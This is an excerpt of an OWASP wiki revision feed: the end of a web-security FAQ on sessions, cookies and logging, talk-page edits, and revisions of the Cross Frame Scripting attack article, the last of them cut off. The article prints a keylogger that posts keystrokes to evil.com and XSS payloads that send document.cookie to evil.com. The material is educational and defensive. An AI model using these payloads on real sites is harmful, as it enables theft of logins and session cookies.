&lt;br /&gt;
* Create key pair for the server &lt;br /&gt;
* Create the Certificate Signing Request. This will require you to provide certain details like location and fully qualified domain name of the server. &lt;br /&gt;
* Submit the CSR to the CA along with documentary proof of identity. &lt;br /&gt;
* Install the certificate sent by the CA&lt;br /&gt;
The first two steps are done from the web server. All servers have these features. While installing the certificate issued by the CA, you will have to specify which web pages are to be on SSL.&lt;br /&gt;
&lt;br /&gt;
A good starting point for working on POC in a Windows development environment could be: &amp;quot;HOW TO: Secure XML Web Services with Secure Socket Layer in Windows 2000&amp;quot; - http://support.microsoft.com/default.aspx?scid=kb;en-us;q307267&amp;amp;sd=tech&lt;br /&gt;
&lt;br /&gt;
=Cookies and Session Management  =&lt;br /&gt;
&lt;br /&gt;
==Are there any risks in using persistent vs non-persistent cookies?  ==&lt;br /&gt;
&lt;br /&gt;
Persistent cookies are data that a web site places on the user's hard drive (or equivalent) for maintaining information over more than one browser session. This data will stay in the user's system and can be accessed by the site the next time the user browses the site. Non-persistent cookies on the other hand are those that are used only in the browser session that creates it. They stay only in the memory of the machine and are not persisted on the hard disk. The security risk with persistent cookies is that they are generally stored in a text file on the client and an attacker with access to the victim's machine can steal this information. &lt;br /&gt;
&lt;br /&gt;
==Can another web site steal the cookies that my site places on a user's machine?  ==&lt;br /&gt;
&lt;br /&gt;
No, it is not possible for a website to access another site's cookies. Cookies have a domain attribute associated with them. Only a request coming from the domain specified in the attribute can access the cookie. This attribute can have only one value. &lt;br /&gt;
&lt;br /&gt;
==Which is the best way to transmit session ids- in cookies, or URL or a hidden variable?  ==&lt;br /&gt;
&lt;br /&gt;
Transmitting session IDs in the URL can lead to several risks. Shoulder surfers can see the session ID; if the URL gets cached on the client system, the session ID will also be stored; the session ID will get stored in the referrer logs of other sites. Hidden variables are not always practical as every request might not be a POST. Cookies are the safest method as cookies do not get cached, are not visible in the W3C or referrer logs, and most users anyway accept cookies. &lt;br /&gt;
&lt;br /&gt;
==What are these secure cookies?  ==&lt;br /&gt;
&lt;br /&gt;
A cookie can be marked as &amp;quot;secure&amp;quot; which ensures the cookie is used only over SSL sessions. If &amp;quot;secure&amp;quot; is not specified, the cookie will be sent unencrypted over non-SSL channels. Sensitive cookies like session tokens should be marked as secure if all pages in the web site requiring session tokens are SSL-enabled. One thing to keep in mind here is that images are generally not downloaded over SSL and they usually don't require a session token to be presented. By setting the session cookie to be secure, we ensure that the browser does not send the cookie while downloading the image over the non-SSL connection.&amp;lt;&amp;gt; &lt;br /&gt;
&lt;br /&gt;
==If I use a session ID that is a function of the client's IP address, will session hijacking be prevented?  ==&lt;br /&gt;
&lt;br /&gt;
An attacker can hijack another user's session by stealing the session token. Methods have been suggested to prevent the session from being hijacked even if the session token is stolen. For instance, using a session token that is a function of the user's IP address. In this approach, even if the attacker stole the token, he would need the same IP address as the user to successfully hijack a session. However, session hijacking can still be possible. Suppose the attacker is on the same LAN as the user and uses the same Proxy IP as the user to access the web site. The attacker can still steal the session if he is able to sniff the session token. It may also be not possible to implement this if the IP of the client changes during a session, making the session invalid if the token is tied to the initial IP address. This may happen if the client is coming from behind a bank of proxy servers. &lt;br /&gt;
&lt;br /&gt;
==How about encrypting the session id cookies instead of using SSL?  ==&lt;br /&gt;
&lt;br /&gt;
Encrypting just the session ID over a non-SSL connection will not serve any purpose. Since the session ID will be encrypted once and the same value will be sent back and forth each time, an attacker can use the encrypted value to hijack the session. &lt;br /&gt;
&lt;br /&gt;
==What is the concept of using a page id, in addition to the session id?  ==&lt;br /&gt;
&lt;br /&gt;
A Session ID or token has the lifetime of a session and is tied to the logged in user. A page ID or token has a lifetime of a page and is tied to a page that is served. It is a unique token given when a page is downloaded and is presented by the user when accessing the next page. The server expects a particular value for the user to access the next page. Only if the token submitted matches what the server is expecting is the next page served. An application can use this to ensure that a user accesses pages only in the sequence determined by the application. The user cannot paste a deep URL in the browser and skip pages just because he has a session token, as the page token would not be authorized to access the deeper URL directly. Good Read: [http://palisade.plynt.com/issues/2005Aug/page-tokens/ Secure your sessions with Page Tokens]&lt;br /&gt;
&lt;br /&gt;
=Logging and Audit Trails  =&lt;br /&gt;
&lt;br /&gt;
==What are these W3C logs?  ==&lt;br /&gt;
&lt;br /&gt;
W3C is a logging format used for Web server log files. W3C logs record access details of each request: the timestamp, source IP, page requested, the method used, http protocol version, browser type, the referrer page, the response code etc. Note that these are access logs, and so a separate record is maintained for each request. When a page with multiple gif files is downloaded, it would be recorded as multiple entries in the W3C log; so, W3C logs tend to be voluminous. &lt;br /&gt;
&lt;br /&gt;
==Do I need to have logging in my application even if I've W3C logs?  ==&lt;br /&gt;
&lt;br /&gt;
Yes, it's important that your application maintains &amp;quot;application level&amp;quot; logs even when W3C logging is used. As W3C logs contain records for every http request, it is difficult (and, at times impossible) to extract a higher level meaning from these logs. For instance, the W3C logs are cumbersome to identify a specific session of user and the activities that the user performed. It's better that the application keeps a trail of important activities, rather than decode it from W3C logs. &lt;br /&gt;
&lt;br /&gt;
==What should I log from within my application?  ==&lt;br /&gt;
&lt;br /&gt;
Keep an audit trail of activity that you might want to review while troubleshooting or conducting forensic analysis. Please note that it is inadvisable to keep sensitive business information itself in these logs, as administrators have access to these logs for troubleshooting. Activities commonly kept track of are: &lt;br /&gt;
&lt;br /&gt;
* Login and logout of users &lt;br /&gt;
* Critical transactions (eg. fund transfer across accounts) &lt;br /&gt;
* Failed login attempts &lt;br /&gt;
* Account lockouts &lt;br /&gt;
* Violation of policies &lt;br /&gt;
The data that is logged for each of these activities usually include: &lt;br /&gt;
&lt;br /&gt;
* User ID &lt;br /&gt;
* Time stamp &lt;br /&gt;
* Source IP &lt;br /&gt;
* Error codes, if any &lt;br /&gt;
* Priority &lt;br /&gt;
==Should I encrypt my logs? Isn't that a performance hit?  ==&lt;br /&gt;
&lt;br /&gt;
Encryption is required when information has to be protected from being read by unauthorized users. Yes, encryption does take a performance hit, so if your logs do not contain sensitive information you might want to forego encryption. However, we strongly urge that you protect your logs from being tampered by using digital signatures. Digital signatures are less processor intensive than encryption and ensure that your logs are not tampered. &lt;br /&gt;
&lt;br /&gt;
==Can I trust the IP address of a user I see in my audit logs? Could a user be spoofing/impersonating their IP address?  ==&lt;br /&gt;
&lt;br /&gt;
A bad guy who wants to hide his actual IP address might use a service like anonymizer, or use open HTTP relays. [HTTP open relays are improperly configured web servers on the web that are used as a HTTP proxy to connect to other sites.] In such cases, the IP address you see in your log files will be those of these services or the open relay that is being used. So, the IP address you see in your log files might not always be trustworthy. &lt;br /&gt;
&lt;br /&gt;
=Miscellaneous  =&lt;br /&gt;
&lt;br /&gt;
==What are Buffer Overflows? ==&lt;br /&gt;
&lt;br /&gt;
Buffer overflow vulnerability affects the web applications that require user input. The application stores the input in a buffer which is of a fixed size, as defined by the programmer. When the input that is sent to the application is more than the buffer capacity and the buffers are left unchecked, buffer overflow occurs. The severity depends on the user input. If a malicious code executes as a result of the overflow, it can even compromise the whole system.&lt;br /&gt;
To learn more, please read the OWASP article on [http://www.owasp.org/index.php/Buffer_Overflow buffer overflows.]&lt;br /&gt;
&lt;br /&gt;
==What are application firewalls? How good are they really?  ==&lt;br /&gt;
&lt;br /&gt;
Application firewalls analyze the requests at the application level. These firewalls are used for specific applications like a web server or a database server. The web application firewalls protect the web server from HTTP based attacks. They monitor the requests for attacks that involve SQL Injection, XSS, URL encoding etcetera. However, application layer firewalls cannot protect against attacks that require an understanding of the business context - this includes most attacks that rely on variable manipulation. Some application firewalls are: Netcontinuum's NC-1000 Kavado Inc.'s InterDo Teros Inc.'s Teros-100 APS&lt;br /&gt;
&lt;br /&gt;
==What is all this about &amp;quot;referrer logs&amp;quot;, and sensitive URLs?  ==&lt;br /&gt;
&lt;br /&gt;
The HTTP header contains a field known as Referrer. For visiting a web page we may either: &lt;br /&gt;
&lt;br /&gt;
* Type its URL directly into the address bar of the browser &lt;br /&gt;
* Click a link on some other page that brings us there &lt;br /&gt;
* Be redirected there by some page. &lt;br /&gt;
In the first case, the referrer field will be empty but in the other two cases it will contain the URL of the previous page. The URL of the first page will get stored in the web server access logs of the second page when the user reaches the second page from the first page. Now suppose, the two pages belong to different sites and the first URL contains sensitive information like a user's session ID. If the second site belongs to attackers, they can obtain this information by just going through the logs. Information in the URLs will get stored in the referrer logs as well as the history of the browser. Therefore, we should be careful not to have any sensitive information in the URL. &lt;br /&gt;
&lt;br /&gt;
==I want to use the most secure language; which language do you recommend?  ==&lt;br /&gt;
&lt;br /&gt;
Any language can be used since secure programming practices are what make applications safe. Most security techniques can be implemented in any language. Our advice would be to use any language you are comfortable with. But some languages like Java have additional features like bind variables that aid security; you could use those additional features if you decide to program in that language. &lt;br /&gt;
&lt;br /&gt;
==What are the good books to learn secure programming practices?  ==&lt;br /&gt;
&lt;br /&gt;
The OWASP Guide to Building Secure Web Application and Web Services is a good guide for web application developers. You can download it from http://www.owasp.org/documentation/guide Writing Secure Code by Michael Howard and David LeBlanc has a chapter on Securing Web-Based Services. More information on this book can be found at: http://www.microsoft.com/mspress/books/toc/5612.asp Secure Programming for Linux and Unix HOWTO by David Wheeler talks about writing secure applications including web applications; it also specifies guidance for a number of languages. The book can be found at: http://www.dwheeler.com/secure-programs&lt;br /&gt;
&lt;br /&gt;
Another good book on application security, which also covers some web service specific topics: 19 Deadly Sins of Software Security, by: Michael Howard, David LeBlanc and John Viega (http://books.mcgraw-hill.com/getbook.php?isbn=0072260858).&lt;br /&gt;
&lt;br /&gt;
==Are there any training programs on secure programming that I can attend?  ==&lt;br /&gt;
&lt;br /&gt;
Microsoft offers training programs on Developing Security-Enhanced Web Applications and Developing and Deploying Secure Microsoft .NET Framework Application. More information can be found at http://www.microsoft.com/traincert/syllabi/2300AFinal.asp and http://www.microsoft.com/traincert/syllabi/2350BFinal.asp Foundstone offers secure coding training through Global Knowledge Aspect Security offers a similar course. &lt;br /&gt;
&lt;br /&gt;
OWASP_FAQ_Ver3.doc&lt;/div&gt;</summary>
		<author><name>Michael Brooks</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=Talk:Cross_Frame_Scripting&amp;diff=162546</id>
		<title>Talk:Cross Frame Scripting</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=Talk:Cross_Frame_Scripting&amp;diff=162546"/>
				<updated>2013-11-05T17:20:44Z</updated>
		
		<summary type="html">&lt;p&gt;Michael Brooks: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;I don't like this Wiki entry.  I want OWASP to focus on the problem of XSS as a whole,  and not concern its self with one rouge browser that has strange and numerous security defects.&lt;br /&gt;
--[[User:Michael Brooks|Michael Brooks]] ([[User talk:Michael Brooks|talk]]) 11:20, 5 November 2013 (CST)&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
I don't think there's a real consensus on what a &amp;quot;cross-frame scripting attack&amp;quot; actually is (there are a lot of pages out on the web which use it to describe an XSS attack that includes a frame as part of the attack); but the term &amp;quot;cross-frame scripting&amp;quot; has been in common use since the days of netscape 2.0, and refers to using javascript to access content in one frame from another frame. So I re-wrote a large part of this article to discuss an attack which uses javascript to access content in one frame from another frame, because it's a real issue too, and not covered well anywhere else.&lt;br /&gt;
&lt;br /&gt;
I focused on the IE bug which leaks events across framesets because that's the only existing bug of this type of which I'm aware. I also kept some examples of using XSS with frames, to demonstrate how they're different from cross-frame scripting.&lt;br /&gt;
&lt;br /&gt;
[[User:Justin Ludwig|Justin Ludwig]] 21:48, 8 January 2010 (UTC)&lt;/div&gt;</summary>
		<author><name>Michael Brooks</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=Talk:Cross_Frame_Scripting&amp;diff=162545</id>
		<title>Talk:Cross Frame Scripting</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=Talk:Cross_Frame_Scripting&amp;diff=162545"/>
				<updated>2013-11-05T17:20:19Z</updated>
		
		<summary type="html">&lt;p&gt;Michael Brooks: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;I don't like this Wiki entry.  I want OWASP to focus on the problem of XSS as a whole,  and not concern its self with one rouge browser with strange and numerous security defects.&lt;br /&gt;
--[[User:Michael Brooks|Michael Brooks]] ([[User talk:Michael Brooks|talk]]) 11:20, 5 November 2013 (CST)&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
I don't think there's a real consensus on what a &amp;quot;cross-frame scripting attack&amp;quot; actually is (there are a lot of pages out on the web which use it to describe an XSS attack that includes a frame as part of the attack); but the term &amp;quot;cross-frame scripting&amp;quot; has been in common use since the days of netscape 2.0, and refers to using javascript to access content in one frame from another frame. So I re-wrote a large part of this article to discuss an attack which uses javascript to access content in one frame from another frame, because it's a real issue too, and not covered well anywhere else.&lt;br /&gt;
&lt;br /&gt;
I focused on the IE bug which leaks events across framesets because that's the only existing bug of this type of which I'm aware. I also kept some examples of using XSS with frames, to demonstrate how they're different from cross-frame scripting.&lt;br /&gt;
&lt;br /&gt;
[[User:Justin Ludwig|Justin Ludwig]] 21:48, 8 January 2010 (UTC)&lt;/div&gt;</summary>
		<author><name>Michael Brooks</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=Talk:Cross_Frame_Scripting&amp;diff=162544</id>
		<title>Talk:Cross Frame Scripting</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=Talk:Cross_Frame_Scripting&amp;diff=162544"/>
				<updated>2013-11-05T17:20:03Z</updated>
		
		<summary type="html">&lt;p&gt;Michael Brooks: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;I don't think there's a real consensus on what a &amp;quot;cross-frame scripting attack&amp;quot; actually is (there are a lot of pages out on the web which use it to describe an XSS attack that includes a frame as part of the attack); but the term &amp;quot;cross-frame scripting&amp;quot; has been in common use since the days of netscape 2.0, and refers to using javascript to access content in one frame from another frame. So I re-wrote a large part of this article to discuss an attack which uses javascript to access content in one frame from another frame, because it's a real issue too, and not covered well anywhere else.&lt;br /&gt;
&lt;br /&gt;
I focused on the IE bug which leaks events across framesets because that's the only existing bug of this type of which I'm aware. I also kept some examples of using XSS with frames, to demonstrate how they're different from cross-frame scripting.&lt;br /&gt;
&lt;br /&gt;
[[User:Justin Ludwig|Justin Ludwig]] 21:48, 8 January 2010 (UTC)&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
I don't like this Wiki entry.  I want OWASP to focus on the problem of XSS as a whole,  and not concern its self with one rouge browser with strange and numerous security defects.&lt;br /&gt;
--[[User:Michael Brooks|Michael Brooks]] ([[User talk:Michael Brooks|talk]]) 11:20, 5 November 2013 (CST)&lt;/div&gt;</summary>
		<author><name>Michael Brooks</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=Cross_Frame_Scripting&amp;diff=162543</id>
		<title>Cross Frame Scripting</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=Cross_Frame_Scripting&amp;diff=162543"/>
				<updated>2013-11-05T17:13:40Z</updated>
		
		<summary type="html">&lt;p&gt;Michael Brooks: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;{{Template:Attack}}&lt;br /&gt;
&lt;br /&gt;
==Description==&lt;br /&gt;
&lt;br /&gt;
Cross-Frame Scripting (XFS) is a method of exploiting [[Cross-site Scripting (XSS)]]. In an XFS attack, the attacker exploits a specific cross-frame-scripting bug in a web browser to access private data on a third-party website. The attacker induces the browser user to navigate to a web page the attacker controls; the attacker's page loads a third-party page in an HTML frame; and then javascript executing in the attacker's page steals data from the third-party page.&lt;br /&gt;
&lt;br /&gt;
XFS also sometimes is used to describe an XSS attack which uses an HTML frame in the attack. For example, an attacker might exploit a [[Cross Site Scripting Flaw]] to inject a frame into a third-party web page; or an attacker might create a page which uses a frame to load a third-party page with an XSS flaw.&lt;br /&gt;
&lt;br /&gt;
==Risk Factors==&lt;br /&gt;
&lt;br /&gt;
The standard browser security model allows javascript from one web page to access the content of other pages that have been loaded in different browser windows or frames -- as long as those other pages have been loaded from the same-origin server or domain. It does _not_ allow access to pages that have been loaded from different servers or domains (see MSDN article [http://msdn.microsoft.com/en-us/library/ms533028%28VS.85%29.aspx About Cross-Frame Scripting and Security]). However, specific bugs in this security model exist in specific browsers, allowing an attacker to access some data in pages loaded from different servers or domains. The most well-known such bug affects IE, which leaks keyboard events across HTML framesets (see iDefense Labs advisory [http://labs.idefense.com/intelligence/vulnerabilities/display.php?id=77 Microsoft Internet Explorer Cross Frame Scripting Restriction Bypass]). This bug could allow, for example, an attacker to steal the login credentials of a browser user as he or she tries to type them into the login form of a third-party web page.&lt;br /&gt;
&lt;br /&gt;
==Examples==&lt;br /&gt;
&lt;br /&gt;
===XFS Attack Against IE===&lt;br /&gt;
To exploit the IE bug which leaks keyboard events across framesets, an attacker may create a web page at evil.com, which the attacker controls, and include on the evil.com page a visible frame displaying the login page for example.com. The attacker can hide the frame's borders and expand the frame to cover the entire page, so that it looks to the browser user like he or she is actually visiting example.com The attacker registers some javascript in the main evil.com page which listens for all key events on the page. Normally, this listener would be notified of events only from the main evil.com page -- but because of the browser bug, this listener is notified also of events from the framed example.com page. So every key press the browser user makes in the example.com frame, while trying to log into example.com, can be captured by the attacker, and reported back to evil.com:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
&amp;lt;!-- http://evil.com/example.com-login.html --&amp;gt;&lt;br /&gt;
&amp;lt;head&amp;gt;&lt;br /&gt;
&amp;lt;script&amp;gt;&lt;br /&gt;
// array of user keystrokes&lt;br /&gt;
var keystrokes = [];&lt;br /&gt;
// event listener which captures user keystrokes&lt;br /&gt;
document.onkeypress = function() {&lt;br /&gt;
    keystrokes.push(window.event.keyCode);&lt;br /&gt;
}&lt;br /&gt;
// function which reports keytrokes back to evil.com every second&lt;br /&gt;
setInterval(function() {&lt;br /&gt;
    if (keystrokes.length) {&lt;br /&gt;
        var xhr = newXHR();&lt;br /&gt;
        xhr.open(&amp;quot;POST&amp;quot;, &amp;quot;http://evil.com/k&amp;quot;);&lt;br /&gt;
        xhr.send(keystrokes.join(&amp;quot;+&amp;quot;));&lt;br /&gt;
    }&lt;br /&gt;
    keystrokes = [];&lt;br /&gt;
}, 1000);&lt;br /&gt;
// function which creates an ajax request object&lt;br /&gt;
function newXHR() {&lt;br /&gt;
    if (window.XMLHttpRequest)&lt;br /&gt;
        return new XMLHttpRequest();&lt;br /&gt;
    return new ActiveXObject(&amp;quot;MSXML2.XMLHTTP.3.0&amp;quot;);&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/script&amp;gt;&lt;br /&gt;
&amp;lt;/head&amp;gt;&lt;br /&gt;
&amp;lt;!-- re-focusing to this frameset tricks browser into leaking events --&amp;gt;&lt;br /&gt;
&amp;lt;frameset onload=&amp;quot;this.focus()&amp;quot; onblur=&amp;quot;this.focus()&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;!-- frame which embeds example.com login page --&amp;gt;&lt;br /&gt;
&amp;lt;frame src=&amp;quot;http://example.com/login.html&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;/frameset&amp;gt;&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
===XSS Attack Using Frames===&lt;br /&gt;
To exploit a [[Cross Site Scripting Flaw]] on a third-party web page at example.com, the attacker could create a web page at evil.com, which the attacker controls, and include a hidden iframe in the evil.com page. The iframe loads the flawed example.com page, and injects some script into it through the XSS flaw. In this example, the example.com page prints the value of the &amp;quot;q&amp;quot; query parameter from the page's URL in the page's content without escaping the value. This allows the attacker to inject some javascript into the example.com page which steals the browser-user's example.com cookie, and sends the cookie via a fake-image request to evil.com (the iframe's src URL is wrapped for legibility):&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
&amp;lt;iframe style=&amp;quot;position:absolute;top:-9999px&amp;quot; src=&amp;quot;http://example.com/&amp;amp;crarr;&lt;br /&gt;
    flawed-page.html?q=&amp;lt;script&amp;gt;document.write('&amp;lt;img src=\&amp;quot;http://evil.com/&amp;amp;crarr;&lt;br /&gt;
    ?c='+encodeURIComponent(document.cookie)+'\&amp;quot;&amp;gt;')&amp;lt;/script&amp;gt;&amp;quot;&amp;gt;&amp;lt;/iframe&amp;gt;&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
The iframe is hidden off-screen, so the browser user won't have any idea that he or she just &amp;quot;visited&amp;quot; the example.com page. However, this attack is effectively the same as a conventional XSS attack, since the attacker could have simply redirected the user directly to the example.com page, using a variety of methods, including a meta element like this (again, the meta element's URL is wrapped for legibility):&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
&amp;lt;meta http-eqiv=&amp;quot;refresh&amp;quot; content=&amp;quot;1;url=http://example.com/&amp;amp;crarr;&lt;br /&gt;
    flawed-page.html?q=&amp;lt;script&amp;gt;document.write('&amp;lt;img src=\&amp;quot;http://evil.com/&amp;amp;crarr;&lt;br /&gt;
    ?c='+encodeURIComponent(document.cookie)+'\&amp;quot;&amp;gt;')&amp;lt;/script&amp;gt;&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
The only difference is that when using an iframe, the attacker can hide the frame off-screen -- so the browser user won't have any idea that he or she just &amp;quot;visited&amp;quot; example.com. When using a redirect to navigate directly to example.com, the browser will display the example.com url in the browser's address bar, and the example.com page in the browser's window, so the browser user will be aware that he or she is visiting example.com.&lt;br /&gt;
&lt;br /&gt;
===Another XSS Attack Using Frames===&lt;br /&gt;
To exploit the same [[Cross Site Scripting Flaw]] as above at example.com (which prints the value of the &amp;quot;q&amp;quot; query parameter from the page's URL in the page's content without escaping the value) the attacker could create a web page at evil.com, which the attacker controls, that includes a link like the following, and induce the user to click on the link. This link injects an iframe into the example.com page by exploiting the XSS flaw with the &amp;quot;q&amp;quot; query parameter; the iframe runs some javascript to steal the browser-user's example.com cookie, and sends it via a fake-image request to evil.com (the URL is wrapped for legibility):&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
http://example.com/flawed-page.html?=&amp;lt;iframe src=&amp;quot;&amp;amp;crarr;&lt;br /&gt;
    javascript:document.body.innerHTML=+'&amp;lt;img src=\&amp;quot;http://evil.com/&amp;amp;crarr;&lt;br /&gt;
    ?c='+encodeURIComponent(document.cookie)+'\&amp;quot;&amp;gt;'&amp;quot;&amp;gt;&amp;lt;/iframe&amp;gt;&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Again, this attack is effectively the same as a conventional XSS attack; the attacker simply uses the src attribute of the injected iframe element as a vehicle to run some javascript code in the attacked page.&lt;br /&gt;
&lt;br /&gt;
==Related Threat Agents==&lt;br /&gt;
&lt;br /&gt;
* An XFS attack generally is carried out by a malicious [[:Category:Internet attacker]].&lt;br /&gt;
* An XFS attack exploiting a browser bug which leaks events across frames is similar to an attack which uses conventional key-logging software.&lt;br /&gt;
&lt;br /&gt;
==Related Attacks==&lt;br /&gt;
&lt;br /&gt;
* An attacker might use a hidden frame to carry out a [[Cross-site Scripting (XSS)]] attack.&lt;br /&gt;
* An attacker might use a hidden frame to carry out a [[Cross-Site Request Forgery (CSRF)]] attack.&lt;br /&gt;
* An attacker might use a visible frame to carry out a [[Clickjacking]] attack.&lt;br /&gt;
* An XFS attack exploiting a browser bug which leaks events across frames is a form of a [[Phishing]] attack (the attacker lures the user into typing-in sensitive information into a frame containing a legitimate third-party page).&lt;br /&gt;
&lt;br /&gt;
==Related Vulnerabilities==&lt;br /&gt;
&lt;br /&gt;
* XFS attacks exploit specific browser bugs.&lt;br /&gt;
&lt;br /&gt;
==Related Controls==&lt;br /&gt;
&lt;br /&gt;
* XFS attacks may denied by preventing the third-party web page from being framed; the techniques used to do this are the same as those used for [[Clickjacking Protection for Java EE]].&lt;br /&gt;
&lt;br /&gt;
==References==&lt;br /&gt;
&lt;br /&gt;
* MSDN article [http://msdn.microsoft.com/en-us/library/ms533028%28VS.85%29.aspx About Cross-Frame Scripting and Security]&lt;br /&gt;
* iDefense Labs advisory [http://labs.idefense.com/intelligence/vulnerabilities/display.php?id=77 Microsoft Internet Explorer Cross Frame Scripting Restriction Bypass]&lt;br /&gt;
&lt;br /&gt;
[[Category:Attack]]&lt;/div&gt;</summary>
		<author><name>Michael Brooks</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=Cross_Frame_Scripting&amp;diff=162542</id>
		<title>Cross Frame Scripting</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=Cross_Frame_Scripting&amp;diff=162542"/>
				<updated>2013-11-05T17:11:00Z</updated>
		
		<summary type="html">&lt;p&gt;Michael Brooks: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;{{Template:Attack}}&lt;br /&gt;
&lt;br /&gt;
==Description==&lt;br /&gt;
&lt;br /&gt;
Cross-Frame Scripting (XFS) describes a way that [[Cross-site Scripting (XSS)]] can happen. In an XFS attack, the attacker exploits a specific cross-frame-scripting bug in a web browser to access private data on a third-party website. The attacker induces the browser user to navigate to a web page the attacker controls; the attacker's page loads a third-party page in an HTML frame; and then javascript executing in the attacker's page steals data from the third-party page.&lt;br /&gt;
&lt;br /&gt;
XFS also sometimes is used to describe an XSS attack which uses an HTML frame in the attack. For example, an attacker might exploit a [[Cross Site Scripting Flaw]] to inject a frame into a third-party web page; or an attacker might create a page which uses a frame to load a third-party page with an XSS flaw.&lt;br /&gt;
&lt;br /&gt;
==Risk Factors==&lt;br /&gt;
&lt;br /&gt;
The standard browser security model allows javascript from one web page to access the content of other pages that have been loaded in different browser windows or frames -- as long as those other pages have been loaded from the same-origin server or domain. It does _not_ allow access to pages that have been loaded from different servers or domains (see MSDN article [http://msdn.microsoft.com/en-us/library/ms533028%28VS.85%29.aspx About Cross-Frame Scripting and Security]). However, specific bugs in this security model exist in specific browsers, allowing an attacker to access some data in pages loaded from different servers or domains. The most well-known such bug affects IE, which leaks keyboard events across HTML framesets (see iDefense Labs advisory [http://labs.idefense.com/intelligence/vulnerabilities/display.php?id=77 Microsoft Internet Explorer Cross Frame Scripting Restriction Bypass]). This bug could allow, for example, an attacker to steal the login credentials of a browser user as he or she tries to type them into the login form of a third-party web page.&lt;br /&gt;
&lt;br /&gt;
==Examples==&lt;br /&gt;
&lt;br /&gt;
===XFS Attack Against IE===&lt;br /&gt;
To exploit the IE bug which leaks keyboard events across framesets, an attacker may create a web page at evil.com, which the attacker controls, and include on the evil.com page a visible frame displaying the login page for example.com. The attacker can hide the frame's borders and expand the frame to cover the entire page, so that it looks to the browser user like he or she is actually visiting example.com The attacker registers some javascript in the main evil.com page which listens for all key events on the page. Normally, this listener would be notified of events only from the main evil.com page -- but because of the browser bug, this listener is notified also of events from the framed example.com page. So every key press the browser user makes in the example.com frame, while trying to log into example.com, can be captured by the attacker, and reported back to evil.com:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
&amp;lt;!-- http://evil.com/example.com-login.html --&amp;gt;&lt;br /&gt;
&amp;lt;head&amp;gt;&lt;br /&gt;
&amp;lt;script&amp;gt;&lt;br /&gt;
// array of user keystrokes&lt;br /&gt;
var keystrokes = [];&lt;br /&gt;
// event listener which captures user keystrokes&lt;br /&gt;
document.onkeypress = function() {&lt;br /&gt;
    keystrokes.push(window.event.keyCode);&lt;br /&gt;
}&lt;br /&gt;
// function which reports keytrokes back to evil.com every second&lt;br /&gt;
setInterval(function() {&lt;br /&gt;
    if (keystrokes.length) {&lt;br /&gt;
        var xhr = newXHR();&lt;br /&gt;
        xhr.open(&amp;quot;POST&amp;quot;, &amp;quot;http://evil.com/k&amp;quot;);&lt;br /&gt;
        xhr.send(keystrokes.join(&amp;quot;+&amp;quot;));&lt;br /&gt;
    }&lt;br /&gt;
    keystrokes = [];&lt;br /&gt;
}, 1000);&lt;br /&gt;
// function which creates an ajax request object&lt;br /&gt;
function newXHR() {&lt;br /&gt;
    if (window.XMLHttpRequest)&lt;br /&gt;
        return new XMLHttpRequest();&lt;br /&gt;
    return new ActiveXObject(&amp;quot;MSXML2.XMLHTTP.3.0&amp;quot;);&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/script&amp;gt;&lt;br /&gt;
&amp;lt;/head&amp;gt;&lt;br /&gt;
&amp;lt;!-- re-focusing to this frameset tricks browser into leaking events --&amp;gt;&lt;br /&gt;
&amp;lt;frameset onload=&amp;quot;this.focus()&amp;quot; onblur=&amp;quot;this.focus()&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;!-- frame which embeds example.com login page --&amp;gt;&lt;br /&gt;
&amp;lt;frame src=&amp;quot;http://example.com/login.html&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;/frameset&amp;gt;&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
===XSS Attack Using Frames===&lt;br /&gt;
To exploit a [[Cross Site Scripting Flaw]] on a third-party web page at example.com, the attacker could create a web page at evil.com, which the attacker controls, and include a hidden iframe in the evil.com page. The iframe loads the flawed example.com page, and injects some script into it through the XSS flaw. In this example, the example.com page prints the value of the &amp;quot;q&amp;quot; query parameter from the page's URL in the page's content without escaping the value. This allows the attacker to inject some javascript into the example.com page which steals the browser-user's example.com cookie, and sends the cookie via a fake-image request to evil.com (the iframe's src URL is wrapped for legibility):&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
